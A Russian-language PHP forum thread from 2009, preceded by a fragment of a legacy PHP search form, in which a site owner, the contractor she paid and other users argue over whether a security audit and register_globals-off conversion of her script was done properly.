<option <?php if (md5($hair)=="2a6ef591687a14d276872bedab511ead") echo "selected"; ?>>Sarэ</option>
<option <?php if (md5($hair)=="9594eec95be70e7b1710f730fdda33d9") echo "selected"; ?>>Mavi</option>
<option <?php if (md5($hair)=="d382816a3cbeed082c9e216e7392eed1") echo "selected"; ?>>Yeюil</option>
<option <?php if (md5($hair)=="6adf97f83acf6453d4a6a4b1070f3754") echo "selected"; ?>>Diрer</option>
</select></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr0'> <TD>Konuюtuрu Diller</TD>
<TD><INPUT NAME='languages' VALUE='<?php echo htmlspecialchars($languages); ?>' SIZE=60 ></INPUT> </TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr0'> <TD>Sadece Resimli &Uuml;yeler</TD>
<TD><input name="pictures" type="checkbox" id="pictures" value="on" <?php if ($pictures) echo "checked"; ?>></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr0'>
<TD>Online &Uuml;yeleri G&ouml;ster</TD>
<TD><select name="onlinet" id="onlinet">
<option value="<?=($logt)?>" selected>Юimdi</option>
<option value="<?=($logt-86400)?>">Bug&uuml;n</option>
<option value="<?=($logt-604800)?>">Bu Hafta</option>
<option value="<?=($logt-2500000)?>">Bu Ay</option>
</select></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr0'> <TD>Sayfa</TD>
<TD><input name="page" type="text" id="page" value="1" size="3" ></TD>
</TR>
<TR bgcolor="#FFFFFF" class='tr0'> <TD colspan="2"><div align="center"> <input name="search" type="hidden" value="search">
<input type="reset" name="Submit2" value="Sэfэrla">
<input type="submit" name="Submit" value="Gцster">
</div></TD>
</TR>
</table>
</form>
<br>
<?
};include("_footer.php");?>

   
 
 автор: Fractured#   (02.12.2009 в 13:39)   письмо автору
 
   для: zeta777   (02.12.2009 в 13:30)
 

Неа, если с quote_smart() всё OK, то это ложное срабатывание.

   
 
 автор: Николай2357   (02.12.2009 в 14:22)   письмо автору
 
   для: zeta777   (02.12.2009 в 13:30)
 

Код в приведенном фрагменте весьма коряв и неоптимален. Кроме того, там полно семантических ошибок. Но это не касается предмета обсуждения. Что касается безопасности, то
1. Замена глобальных переменных на $_REQUEST не на много улучшает общую картину. Кроме того, это грозит еще кое какими неприятностями. Как то, что в параметрах не будут передаваться некоторые символы.
2. Вот в этом месте:
<INPUT NAME='height1' VALUE='<?php echo $height1?>' SIZE=8 >

и подобных ему, имеется прямой доступ в тело тега. Что является XSS уязвимостью.
Второй вопрос, что это будет видно только на странице того, кто попытается осуществить атаку, но сам подход - "тут играем, тут рыбу заворачивали" неприятен сам по себе.
Так что уязвимость как таковая есть, но на безопасность она вряд ли может повлиять. По этому вопрос спорный.
3. Не понятно что находится в функции quote_smart(). Если там все в порядке (экранирование, проверка magic_qoute), то к запросу только одна претензия - в лимит попадают необработанные данные.
Еще раз повторюсь - неважно, что воспользоваться этим почти невозможно.

Вообще код очень тяжел, более детально вникать - никакого удовольствия. Наверное работа действительно столько стоит, если такого кода много. Но только качественная.

   
 
 автор: Rebz   (03.12.2009 в 13:08)   письмо автору
 
   для: Николай2357   (02.12.2009 в 14:22)
 

Добрый день,

"Замена глобальных переменных на $_REQUEST не на много улучшает общую картину. "
Замена идёт на REQUEST только там, где к скрипту идёт обращение и через GET и через POST, для того чтобы определить где можно ограничиться G или P - смотрелись другие файлы и варианты обращения к каждому конкретному скрипту из них.

По поводу:
<INPUT NAME='height1' VALUE='<?php echo $height1?>' SIZE=8 >

Тут нет XSS, так как выше: $height1 = (int)$_REQUEST['height1']; а значит в это поле попадут только цифры, других вариантов нет.

"3. Не понятно что находится в функции quote_smart()" Там находится проверка включены ли magic_quotes и в зависимости от этого проводится правильное экранирование. По поводу данных попадающих в лимит:
a) register_globals принудительно отключен в .htaccess
б) лимиты подобные этому определяются в файлах которые инклудятся

"Вообще код очень тяжел, более детально вникать - никакого удовольствия. Наверное работа действительно столько стоит, если такого кода много. Но только качественная."

Код действительно очень тяжёл и об ошибках логики (не безопасности!), мы предупреждали заранее, клиент согласился, что о них знает.

   
 
 автор: Николай2357   (03.12.2009 в 15:18)   письмо автору
 
   для: Rebz   (03.12.2009 в 13:08)
 

>Замена идёт на REQUEST только там, где к скрипту идёт обращение и через GET и через POST, для того чтобы определить где можно ограничиться G или P - смотрелись другие файлы и варианты обращения к каждому конкретному скрипту из них.

Вот выдержка из ваших предварительных переговоров:

И нормальный переход на global_register off не при помощи чего-то типа {import_request_variables('GPC');}?>, а именно прописав все переменные в скрипте как положено? Если да пишите как вам удобнее оплатить и конечную сумму желательно все-таки знать... :) С уважением, Z

Да, совершенно правильно поняли.

По большому счету скрипт отвечает общим требованиям безопасности, но назвать такую работу качественной (что недвузначно было озвучено в требованиях) никак нельзя.
Нельзя делать работу, затыкая дырки ветошью, чтоб не дуло, и называть это евроремонтом.
Вам нужно определится. Если во главу угла ставится безопасность любой ценой - это одно. Тогда может быть это и вполне отработанные деньги.
Либо работы по обеспечению безопасности должны вестись качественно. Что потребует гораздо больших усилий, чем инициализация переменных их $_REQUEST. Вплоть до изменения логики скрипта и введение дополнительного функционала.

Такую работу, которая представлена на обозрение, я бы назвал халтурой.
Прошу прощения за резкий тон, я сам часто спорю с заказчиками, но это не повод делать работу абы как.
А если работа сделана не качественно, никаких разговоров о 100% гарантии не может и быть.

   
 
 автор: Rebz   (03.12.2009 в 15:24)   письмо автору
 
   для: Николай2357   (03.12.2009 в 15:18)
 

Инициализованны REQUEST, GET, POST или COOKIE только те переменые, которые действительно передаются извне (и по логике работы должны передаваться извне). Возможность повлиять на остальные переменные - исключена.

   
 
 автор: Fractured#   (02.12.2009 в 13:28)   письмо автору
 
   для: zeta777   (02.12.2009 в 13:21)
 

Так трудно сказать, надо код PHP-файла посмотреть.

   
 
 автор: VITtek   (02.12.2009 в 14:39)   письмо автору
 
   для: Fractured#   (02.12.2009 в 13:28)
 

Строка чиста:
<INPUT NAME='height1' VALUE='<?php echo $height1?>' SIZE=8 >

т.к. присутствует:
$height1 = (int)$_REQUEST['height1'];

(int) всё кастрирует в цифры

Но Код всё равно уязвим

   
 
 автор: zeta777   (02.12.2009 в 15:14)   письмо автору
 
   для: VITtek   (02.12.2009 в 14:39)
 

Спасибо большое. Я подожду еще - может еще что напишут и а потом дам ссылку на это обсуждение исполнителю, если никто не возражает. Может мнения на этом форуме все-таки заставят исполнителя прислушаться и исправить ошибки, если конечно он вообще в состоянии это сделать...

Вообще код очень тяжел, более детально вникать - никакого удовольствия. Наверное работа действительно столько стоит, если такого кода много. Но только качественная.

В том-то и дело...Просто я этим скриптом пользуюсь давно, у меня на нем большая база пользователей, кроме того, я его переделывала, добавляла функции, поля - но, поскольку я не программист, все делала просто по образцу этого самого кода. Работать все работает, что я там понадобавляла :), но все явно в дырах... Я думала, пусть мне оригинальный код исправят, а остальное я уже по образцу сама поисправляю, на это меня хватит :) Поэтому мне очень важен именно этот скрипт, я не могу плюнуть на него и перейти на какой-то другой,

Я же не говорю, что работы мало было или не жалуюсь, что дорого. Но ведь не сделана работа, получается...

   
 
 автор: Trianon   (02.12.2009 в 15:56)   письмо автору
 
   для: zeta777   (02.12.2009 в 15:14)
 

Скажите пожалуйста, а строки, подобные вот этой
<option <?php if (md5($smoker)=="9914a0ce04a7b7b6a8e39bec55064b82") echo "selected"?>>Kullanэyorum</option> 

изначально так выглядели, или стали так выглядеть после переделки исполнителем?
Ну и код функции smart_quote действительно представляет интерес.

Применение функции session_register() , и допущение хранения сырого SQL-кода в сессионном пространстве, на мой взгляд, не только показывает, что исполнитель не выполнил букву контракта, но и довольно четко характеризует его уровень.

Но основная предпосылка к тому что произошло, всё же за Вами.
Слишком размытая постановка задачи для таких конкретных денег.
Исполнитель формально отработал то, под чем подписывался.
Можно, конечно, говорить о том, насколько это порядочно - драть такие деньги за так выполненую работу, но Вы же видели ценник?

   
 
 автор: zeta777   (03.12.2009 в 12:49)   письмо автору
 
   для: Trianon   (02.12.2009 в 15:56)
 

Это было изначально в скрипте, но на моем сайте, в скрипте которым я пользуюсь, этого нет, я там убрала md5 и поставила нормальные значения -

типа

<option <?php if ($sex=="Male") echo "selected"; ?>>Male</option>

Проблема не в этом. Такие вещи я могу сама сделать, это чепуха...

Функция прописана так:

function quote_smart($value){
if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}


Но основная предпосылка к тому что произошло, всё же за Вами.
Слишком размытая постановка задачи для таких конкретных денег.


А как я должна была поставить задачу? Если бы я была профессионалом - я бы наверно поставила задачу более конкретно, но если бы я была профессионалом - я бы наверно не платила деньги, а делала сама.

Я попросила - перевести на register_globals off и сделать скрипт безопасным. Мне ответили, что гарантируют 100% безопасность скрипта. Я сама и проверить-то не могу, безопасен скрипт или нет... Но проверила сканнером - сканнер ругается и очень сильно. Создала тему здесь, на форуме - насколько могу понять ни безопасности нет, ни даже на register_globals off по-человечески не перевели, при помощи только $_REQUEST, хотя по-хорошему надо было наверно $_GET, $_POST использовать?

Я видела ценник, я согласилась с суммой в ответ на гарантии того, что код будет 100% безопасен - вопрос подчеркнут мною в переписке и получен однозначный положительный ответ...

Вот отсюда и вопрос - исполнитель сделал то, что ему было заказано, а именно качественный, грамотный перевод на register_globals off и 100% безопасный код?

   
 
 автор: Trianon   (03.12.2009 в 13:21)   письмо автору
 
   для: zeta777   (03.12.2009 в 12:49)
 

>Проблема не в этом. Такие вещи я могу сама сделать, это чепуха...

Это не чепуха. md5 - достаточно процессор-емкая функция. И там, её применение, не обусловленое сутью (вычисление криптостойкой контрольной суммы) - в чистом виде вред. Но если это было в исходном варианте, тогда, конечно, дело другое.

>Вот отсюда и вопрос...
100% безопасный код - это пустышка, фикция. Тут все определяется тем, кто и как это выражение трактует.
Я не представляю, как можно говорить о безопасном коде, в котором имеются ошибки.
Грамотного перевода на register_globals off там безусловно нет.
Потому что методика "register_globals off" не в том, чтобы скрипт работал при такой установке, а в том, чтобы скрипт в принципе не трогал входящих значений, не предусмотренных авторской логикой.

   
 
 автор: Rebz   (03.12.2009 в 13:25)   письмо автору
 
   для: Trianon   (03.12.2009 в 13:21)
 

Пожалуйста, покажите как проэксплуатировать пропущенные уязвимости. По поводу register_globals = Off - работоспособность сохранена, переменные идут либо из запросов, либо из конфигурационных файлов. Register globals принудительно выключен в .htaccess (Как и во многих крупных движках, к примеру MODx)

   
 
 автор: Rebz   (03.12.2009 в 13:44)   письмо автору
 
   для: Trianon   (03.12.2009 в 13:21)
 

О кривизне кода рассуждать не требуется, мы его не перделывали, мы фиксили баги и переводили его на RG=off , тоесть вопрос о написании нового движка с нормальным кодом не стоял.

   
 
 автор: Rebz   (03.12.2009 в 13:29)   письмо автору
 
   для: zeta777   (03.12.2009 в 12:49)
 

Вы вставили лишь часть функции, вот полный вариант:


function quote_smart($value){
    if (get_magic_quotes_gpc()) {
        $value = stripslashes($value);
    }

    if (!is_numeric($value)) {
        //$value = "'" . mysql_real_escape_string($value) . "'";
        $value = mysql_real_escape_string($value);
    }
    return $value;
}

   
 
 автор: Trianon   (03.12.2009 в 18:58)   письмо автору
 
   для: zeta777   (03.12.2009 в 12:49)
 

На примере лишь одной переменной.

$page = (int)$_REQUEST['page'];

Скрипт, написанный в стиле register globals off не должен брать эту переменную откуда придется.
Если параметр передается через URI, на переменную не должны влиять ни кукисы, ни тело POST запроса.
Если параметр передается из POST-запроса, на переменную не должны влиять ни кукисы, ни URI-параметры.
Если параметр передается из кукис-набора, на переменную не должны влиять ни тело POST запроса, ни URI-параметры.
Ведь суть подхода register globals off не в том, чтобы скрипт работал при этой установке, и не в том, чтобы он был уязвим/неуязвим, а в том, чтобы будучи запущенным на php4.1 и выше он давал результат не зависящий ни от состояния установки register globals, ни от error_reporting, включая нотайсы. То есть не трогал переменных, которые сам же не создал, а также проверял на существование и область определения все входные параметры.

C моей точки зрения перевод скрипта в стиль register globals off среди прочего подразумевает отказ от
deprecated session_register() - инструмента связывания глобальных переменных с элементами сессионного набора данных массива
в пользу работы с суперглобальным массивом $_SESSION[]
В результирующем коде оставлена и эта функция, и глобальная переменная, порождающая соответствующий сессионный элемент.
Более того, этот сессионный элемент (который в принципе может быть порожден и другим произвольным скриптом) может содержать сырые данные, применяемые впоследствии скриптом данным, как часть SQL-кода.
И еще более того, при запуске данного скрипта в режиме register globals on, этого другого скрипта даже не требуется.

Собственно, все эти доводы кого-либо к чему-либо могут обязать лишь в том случае, если имярек решит к ним прислушаться.



>function quote_smart($value){
> if (get_magic_quotes_gpc()) {
> $value = stripslashes($value);
> }
>

Здесь, если Ваш оппонент привел код функции полностью, Вы явно передергиваете.
Он - этот полный код - показывает подход исполнителя в полном фокусе: Явные дырки будут закрыты. А чего там с логикой - вопрос пятнадцатый.

>Но основная предпосылка к тому что произошло, всё же за Вами.
>Слишком размытая постановка задачи для таких конкретных денег.

>
>А как я должна была поставить задачу?

Видимо - так, чтобы не будучи удовлетворенной, остаться при деньгах.
И тут наверное суть уже не в постановке, судя по реакции исполнителя, а в других аспектах договора. В размере аванса, в коде протекции и т.д.

   
 
 автор: Николай2357   (02.12.2009 в 16:22)   письмо автору
 
   для: VITtek   (02.12.2009 в 14:39)
 

>Строка чиста:
Не соглашусь. Сейчас есть (int), а завтра автор опять что нибудь изменит и забудет поставить.
Обрабатывать данные все же лучше по месту. Это и запросов тоже касаемо.

   
 
 автор: Fractured#   (02.12.2009 в 17:08)   письмо автору
 
   для: Николай2357   (02.12.2009 в 16:22)
 

С такой логикой, Вы, наверное, всегда числа в SQL-запросах как строки оформляете? mysql_real_escape_string() + апострофы?

   
 
 автор: Николай2357   (02.12.2009 в 19:33)   письмо автору
 
   для: Fractured#   (02.12.2009 в 17:08)
 

Причем тут... (int) или intval() тот же самый кто мешает в запрос поставить, а не на входе?
Это к вопросу о качестве. Люди знали, что скрипт ковыряется не особо компетентным человеком и позволили себе такую вольность. За такие денажки можно было бы и "подумать за дурака" как говорится...
Впрочем это никогда не мешает делать.

   
 
 автор: Rebz   (03.12.2009 в 13:13)   письмо автору
 
   для: Николай2357   (02.12.2009 в 19:33)
 

Это не вольность, нам дали код, мы исправили уязвимости которые в нём были, сохранив работоспособность и при RG=Off. Дальше заказчик может с ним делать что угодно, от человеческого фактора вида "Я решил удалить тут (int)" защитить не в силах никто.

   
 
 автор: Fractured#   (02.12.2009 в 19:39)   письмо автору
 
   для: VITtek   (02.12.2009 в 14:39)
 

Говори где

   
 
 автор: Rebz   (03.12.2009 в 13:09)   письмо автору
 
   для: VITtek   (02.12.2009 в 14:39)
 

Покажите что именно уязвимо, и как конкретно эти уязвимости эксплуатировать. Про limit я написал парой постов выше.

   
 
 автор: Rebz   (03.12.2009 в 13:48)   письмо автору
 
   для: VITtek   (02.12.2009 в 14:39)
 

Пожалуйста, подтвердите ваши слова примером эксплуатации уязвимости.

   
 
 автор: Sergeich   (07.12.2009 в 14:42)   письмо автору
 
   для: zeta777   (02.12.2009 в 11:55)
 

Просмотрел всю тему и захотелось высказаться. Только больше не в ракурсе программирования, а относительно гражданско-правовых отношений в области программирования.
zeta777, Вами здесь были изложены существенные условия договора на выполнение работ (договор подряда). Привожу их основное содержание, представленное Вами:

>Здравствуйте. Функционал мне не надо дописывать. Мне надо перевести в register_globals off и проверить на уязвимости и убрать их. там, насколько я понимаю, нет нормальной фильтрации данных. В общем, этот скрипт сделать безопасным. С прайсом знакома, хотя скидкам, конечно, буду рада :) Если вы согласны за это взяться - было бы чудесно. Вам нужен сам скрипт или он есть у вас? Я его на всякий случай прикрепляю. C уважением, Z
>

Также Вы договорились о цене. Имела место публичная оферта - Вы ознакомились с ценами на услуги, опубликованными исполнителем в интернете и согласились с ними. (ч. 2 ст. 437 ГК РФ). Изложенные Вами условия договора были подтверждены также и другой стороной, к тому же договор фактически имеет письменную форму в понятии ст. 434 ГК РФ. Данный договор был Вами акцептирован (ч. 3 ст. 438 ГК РФ).
Далее, мы имеем место с его выполнением. Договор был выполнен сторонами, что проявилось а) в выполнении определенной договором работы исполнителем, б) оплатой данной работы заказчиком. Таким образом, каких-либо разговоров о цене быть в данной ситуации не может - Вы достигли соглашения относительно цены имея при этом широкий выбор различных иполнителей на рынке данных услуг с различными прейскурантами на данный вид работ. Вы зделали свой выбор самостоятельно и сейчас не в праве критиковать исполнителя относительно цены. Делая какие-либо заявления относительно высокой цены публично Вы нарушаете диспозицию ч. 1 ст. 10 ГК РФ. И это дает исполнителю право обратиться в суд для защиты своих нарушенных Вами гражданских прав.
Относительно качества:
Вы пользуетесь программой для сканирования возможных уязвимостей в скриптах неудосужившись узнать суть выводимых ею ошибок. Хотя (просмотрев прежде выложенный здесь Вами один отчет), их суть (хоть и на английском), достаточно четко описывается в этом отчете. Если бы Вы внимательно его изучили, то у Вас бы сразу отпали многие вопросы относительно количества уязвимостей, так как большинство из них не имеет никакого отношения к РНР скриптам вообще, а преимущественно зависит от настроек Вашего сервера (о чем и говорится в отчетах, приведенных Вами). С другой стороны упомянутые выше условия договора, относящиеся к его предмету, исполнителем действительно были выполнены. Так или иначе проделанная исполнителем работа полностью соответствует тем условиям, о которых вы договорились. Каким образом выполнена данная работа - этот вопрос лежит вне юридического поля. От перестановки слагаемых сумма не меняется. Обе стороны достигли желаемого результата (Вы получили результат работы, исплонитель получил деньги). Резельтат работы полностью удовлетворяет условиям, изложенным в предмете договора. То, что необходимо было сделать исполнителю - было сделано. Уязвимость вряд ли изменится если этот (выложенный здесь скрипт) переписать. Впрочем, это Вы уже смогли понять из обсуждения данной темы, я думаю.
Писать о недостаточной компетенции исполнителя, некачественной работе последнего более чем некорректно в данной ситуации. У Вас нет ни одного доказательства некачественности проделанной работы. Утверждая, что работа была сделана коряво и некачественно публично, Вы снова попадаете под действие упомянутой уже выше ч. 1 ст. 10 ГК РФ, естественно, с возможными негативными для Вас последствиями.
Это было с точки зрения юриста...
А теперь с точки зрения программиста и человека. (Высказывавшимся здесь форумчанам).
Не следует воспринимать сказанное сейчас как что-то обязательное и такое, что необходимо выполнять. Программирование как и большинство иных сфер деятельности имеют в себе не только техническую составляющую, а и творческую. Если бы не было человекозависимой творческой составляющей, то не было бы и профессии такой как программист. В то же время творческая составляющая позволяет решить одну и ту же задачу не одним способом. И, при одинаковом результате решения задачи, говорить о качестве ссылаясь на "корявость" было бы более чем опрометчивым. Более того, удобочитаемость и корявость - вещи часто субъективные и нередко зависят просто от стиля автора, который дургому автору с другим стилем естественно может показаться корявым. Это все оценочные суждения, не имеющие ни чего общего с получаемым результатом. Таким образом, и высказывания типа "Халтура", "брак" и т. п. являются более чем неуместными. Если уж и писать об этом, то необходимо четко указывать на проблемные места и аргументировать свое мнение. Я никогда не говорю клиенту, пришедшему ко мне от другого коллеги, что он плохо справлялся со своей задачей, даже если вижу полную лажу. Следует помнить, что "Errare humanum est", а своими некорректными действиями мы можем просто навредить человеку.

   
 
 автор: Николай2357   (07.12.2009 в 16:51)   письмо автору
 
   для: Sergeich   (07.12.2009 в 14:42)
 

И, при одинаковом результате решения задачи, говорить о качестве ссылаясь на "корявость" было бы более чем опрометчивым.
Если бы Вы внимательно ознакомились с моим ответом, то могли бы заметить, что я слово "корявость" употребил не в адрес исполнителя, а в адрес разработчика исходного скрипта.
Что несомненно имеет место быть.
Однако, для того, чтобы действительно досконально вникнуть в код и найти максимум (по возможности все) уязвимостей, необходимо этот код для начала привести в удобочитаемый вид. Иначе получается латание тришкиного кафтана, что и вышло результатом работы. Даже в том маленьком кусочке кода, который был приведен как демонстрация работы исполнителя, имеется потенциальная уязвимость, которая наверняка была пропущена из за невозможности внимательно изучить код.
По этому прежде чем выполнять такую ответственную работу, как поиск уязвимостей, просто необходимо навести порядок в листинге. Жизненно необходимо.
Этим обуславливается качество работы и именно это было проигнорированно исполнителем. Что и послужило пропуском такой уязвимости, как регистрация переменных сессии,
что может быть классифицированно, как ненадлежащее исполнение пункта договора в части устранения 100% уязвимостей, а по русски просто халтура.

Что касаемо рассуждений
Следует помнить, что "Errare humanum est", а своими некорректными действиями мы можем просто навредить человеку.
то с таким же успехом можно расценить действия исполнителя, как дискридетирующие сословие программистов и каждого программиста в частности. Думаю не стоит разжевывать как и почему.

   
 
 автор: Rebz   (03.12.2009 в 13:19)   письмо автору
 
   для: zeta777   (01.12.2009 в 12:11)
 

Здравствуйте!
Мы выполняли данный заказ.

   
 
 автор: Rebz   (03.12.2009 в 13:20)   письмо автору
 
   для: zeta777   (01.12.2009 в 12:11)
 

Прошу zeta777 выложить отчет, который мы подготовили по найденным уязвимостям. Тогда и можно расслужать о проделанной работе и её качестве.

   
 
 автор: zeta777   (03.12.2009 в 13:31)   письмо автору
 
   для: Rebz   (03.12.2009 в 13:20)
 

Я отчет выложу, не проблема, правда сейчас не могу, он у меня на другом компе. Но какая разница, какой отчет? Речь же идт не о том, какакя работа была проделана, а о конечном результате. А результат, насколько я могла понять и насколько подтверждается здесь, на форуме - я полагаю здешних пользователей вы не сможете уличить в безграмотности - отрицательный...

   
 
 автор: Rebz   (03.12.2009 в 13:38)   письмо автору
215.1 Кб
 
   для: zeta777   (03.12.2009 в 13:31)
 

Уважаемая zeta777, вы не слушаете ни нас ни мнение людей с этого форума. Вы слышите только то, что хотите слышать. Мы предлагаем показать уважаемым форумчанам уязвимости в выложенном коде, то есть, конкретную РЕАЛИЗАЦИЮ.

Прилагаю отчет, раз Вы согласны.

   
 
 автор: zeta777   (03.12.2009 в 13:53)   письмо автору
 
   для: Rebz   (03.12.2009 в 13:38)
 

Вы пишите мне в письме), что я вроде как говорю, что это полная халтура... Я не говорила про полную халтуру. Если вы внимательно читали - я задавала вопрос - тот, про который вы мне ответили, что сокрытие ошибок помогает в защите от уязвимостей. На форуме мне четко ответили, что нет, ошибки хоть и скрыты, а уязвимости остаются. Дальше - больше. Я выложила отчеты, ну вы сами все читали.

Дело не в том, сколько раборты вы проделали, а в том, что вы проделали не всю работу и некачественно. Поймите и вы меня - мне какая разница, сколько работы вы проделали, если в результате все равно скрипт уязвимый и переход на register_globals off неграмотный - а ведь мы с вами эти моменты обговаривали в самом начале, я говорила что мне нужно, вы назначали цену и гарантировали результат.

Вы пишите, что это Я НЕ СЛУШАЮ МНЕНИЕ ЛЮДЕЙ С ЭТОГО ФОРУМА

Это вообще довольно странное заявление с вашей стороны. По-моему все сказали, что работа проведена некачественно. Я плохо разбираюсь в проблемах уязвимостей кода, но русский язык я знаю хорошо и смысл фраз - код уязвим, работа проведена некачественно - я понять могу. А вы?

Вы пиште про отчет... Разве я не права, что дело не в отчете, а в конечном результате?

Вы в отчете написал - мы проделали то-то и то-то. Это замечательно. Но мне важно не то, что вы проделали, а то, что результата нет...

И я не понимаю, почему мое мнение по этому вопросу вас так возмущает.

Я же не отсебятину несу, я изначально полагалась на отчеты сканнера, теперь эти отчеты подтверждаются еще и мнением форумчан. Они тоже признают, что работа проделана, да, никто не спорит, но проделана некачественно. Вот, собственно о чем речь.

Вы же не думаете, что я платила вам за некачественно проделанную работу? Если вы сами платите за что-то - вы же надеетесь на то, что вам сделают все на уровне, а не абы как-нибудь? Себя поставьте на мое место? У меня большой сайт, большая база пользователей. я хочу работать 100% спокойно, зная, что никто меня не взломает.

Я увидела ваше предложение на форуме - обратилась к вам, особо не торговалась, данные ваши по 100 раз не проверяла, даже согласилась заплатить на формальный кошелек, так как поверила в то, что вы дорожите своей репутацией. В результате осталась ни с чем по сути, так как, насколько я могу понять - даже если вы закрыли 100 уязвимостей, но оставили 1 - результат один - сайт уязвим.

Договор был не на количество проделанной работы, а на результат конечный, согласитесь...

А если бы я могла вам конкретно написать - вы мне закройте уязвимость такую-то в таком-то файле и еще такую-то в таком-то и так далее - я бы вообще к вам не обращалась.

   
 
 автор: Rebz   (03.12.2009 в 13:57)   письмо автору
 
   для: zeta777   (03.12.2009 в 13:53)
 

На форуме мне четко ответили, что нет, ошибки хоть и скрыты, а уязвимости остаются
Пусть уважаемые форумчане продемонстрируют как можно воспользоваться уязвимостями, которые, по их словам, есть. Это будет лучшее подтверждение их слов.

   
 
 автор: zeta777   (03.12.2009 в 14:11)   письмо автору
 
   для: Rebz   (03.12.2009 в 13:57)
 

То есть по вашим словам уже не только я чушь несу, но и профессионалы тоже? Форумчане, если ответят - то спасибо им большое, но даже если не ответят - я полагаю, что они никак не обязаны проверять вашу работу. Это ваша работа и выполнять ее должны вы, а не кто-то другой.

Я просто очень надеюсь, что либо вы все-таки выполните свою работу по-настоящему качественно, либо вернете деньги, хотя бы частично, либо я стану вашим первым и последним клиентом, чтобы хоть другие не обманывались на ваш счет. Первое-второе конечно предпочтительнее :)

   
 
 автор: Rebz   (03.12.2009 в 14:15)   письмо автору
 
   для: zeta777   (03.12.2009 в 14:11)
 

Слушайте, я также могу зайти в эту тему и громогласно прокричать - код говно, баги есть. А где доказательства слов? Я не требую, чтобы кто-то выполнял нашу работу. Надо всего лишь обосновать своё мнение и показать как можно воспользоваться уязвимостью, если она есть в коде.

Код и сейчас безопасен. Как нам исправить баги, которых нет? Их НЕТ, понимаете? Если кто-то их видит (уязвимости, а не кривой код), то пусть покажет эксплуатацию.

   
 
 автор: VITtek   (03.12.2009 в 14:28)   письмо автору
 
   для: zeta777   (03.12.2009 в 13:53)
 

Код вполне защищенный, про уязвимости я слишком загнул … Смутил параметр $pictures … Но потом вспомнил, что $_REQUEST вроде сам экранирует спецзнаки, и необходимости в общем плане quote_smart, вроде бы сама собой отпадает.

Раз есть пост данные, то избавить скрипт от нагрузки … хотелось бы видеть
Регулярки проверок пост запросов на выход exit

Могу пост запросом пульнуть в ваш код 20 мб текста (один томик про Войну и мир) ... который будет ходить по вашим параметрам (возможно по базе) нарабатывая нагрузку.


В моём понятии защищённый код за 40 тысяч – это не тупо все параметры записывать в quote_smart, Но переделка самой «работы» скрипта, что бы если связь между данными осуществляется пост и гет запросами – это выполнялось по средствам цифр. И в крайних случаях буквами.

Извините, Я ОШИБАЛСЯ, КОД в поле ЗАЩИЩЁННЫЙ. Но как то это всё сделано, явно не на 40 тыс.

   
 
 автор: Fractured#   (03.12.2009 в 21:46)   письмо автору
 
   для: VITtek   (03.12.2009 в 14:28)
 

>Код вполне защищенный, про уязвимости я слишком загнул … Смутил параметр $pictures … Но потом вспомнил, что $_REQUEST вроде сам экранирует спецзнаки, и необходимости в общем плане quote_smart, вроде бы сама собой отпадает.

лол)

   
 
 автор: Rebz   (04.12.2009 в 10:33)   письмо автору
 
   для: Fractured#   (03.12.2009 в 21:46)
 

Fractured#, объясните, пожалуйста, что Вы имеете в виду под "лол)"?

Trianon , прошу Вас отписаться. А перед тем ознакомиться с темой заново, где я отписался и сказать - уязвим наш код или нет. И если да, то как можно эту уязвимость эксплуатировать. К Вашему мнению прислушается zeta777.

Также просьба остальным участникам пояснить результаты сканирования. Если там уязвимости или нет. zeta777 считает, что есть и полностью доверяет отчету сканера.

   
 
 автор: sim5   (04.12.2009 в 11:34)   письмо автору
 
   для: Rebz   (04.12.2009 в 10:33)
 

Диалог затянулся.

Первый пост автора темы вызвал попросту удивление, пока не появилось продолжение. Вы прекрасно понимаете, что навряд ли кто-то будет проверять код автора, результаты работы сканера, и давать по поводу этого вопроса заключение. В силу разных обястоятельств, да и собственно кто же будет опять делать практически часть вашей работы и бесплатно. И не стоит на этом играть.

zeta777 просто оплошала, не оговорив все в договоре. Вы извините, но вы просто, видимо, исходите из того, что хлеб должен быть обязательно с маслом, отсюда и цены - от Боинга. Я не доверяю сканерам на все 100, но и доверяю ему не на 1%. Я не смотрел код автора, но даже по прикидке, это через чур - и цена ваша, и результат.

Был такой случай с одним из знакомых, когда я посчитал не разумным обращаться ему за раскруткой его сайта к некой виртуальной фирме (он спросил совета). Цена вопроса была 15000 руб. Он не послушался, заказал, результат в виде 5 советов, самый "сильный".... Догадались? Именно - meta keywords. Вот так.

Я это привел не потому, что считаю вас охотниками за "лохами", но покупатель всегда прав, и работа не должна вызывать нареканий, а уж тем более сомнений. А коли они есть, вы должны были сделать все, чтобы не допустить прихода zeta777 на этот форум (или иной), будучи уверенными в чистоте сделанной работы - за 40000 можно было бы и постараться, репутация дороже этой суммы. Допустили это, значит уже не правы.

Как уже отмечал Trianon, вопрос скорее уже юридический, чем технический. Долгие дебаты утомляют и не дают практического результата.

   
 
 автор: Rebz   (04.12.2009 в 12:41)   письмо автору
 
   для: sim5   (04.12.2009 в 11:34)
 

В силу разных обястоятельств, да и собственно кто же будет опять делать практически часть вашей работы и бесплатно. И не стоит на этом играть.
Здравствуйте!
Я не прошу делать часть моей работы, я лишь прошу проверить. Для опытных программистов это не составляет труда - разобраться безопасен код или нет. Вопрос в этом на данный момент. Я прошу прощения, что пришлось ввязывать сторонних людей. Действительно, наша ошибка. Я согласен, что клиент всегда прав. Получается, мы просто не договорились. Мы имели в виду одно, а zeta777 - другое. Мы проводили аудит именно безопасности, а zeta777 подразумевала, что должны были и разбираться с кривым кодом. Отсюда и всё недопонимание.

Поверьте, копаться в коде, а особенно в кривом, и проверять его на безопасность - довольно сомнительное удовольствие. Это же не просто отфильтровать все переменные и добавить в .htaccess строчку php_flag display_errors Off. Надо же вдумываться в логику команд, смотреть какие запросы что выводят, в какие файлы и куда передаются переменные и т.д. и вам, как профессионалам, должно быть это известно. Взгляните на наш отчет по уязвимостям, хорошо бы, если бы Вам дали взглянуть оригинал скриптов, оценили бы его качество..

   
 
 автор: zeta777   (04.12.2009 в 13:01)   письмо автору
 
   для: Rebz   (04.12.2009 в 12:41)
 

Мы имели в виду одно, а zeta777 - другое. Мы проводили аудит именно безопасности, а zeta777 подразумевала, что должны были и разбираться с кривым кодом. Отсюда и всё недопонимание.

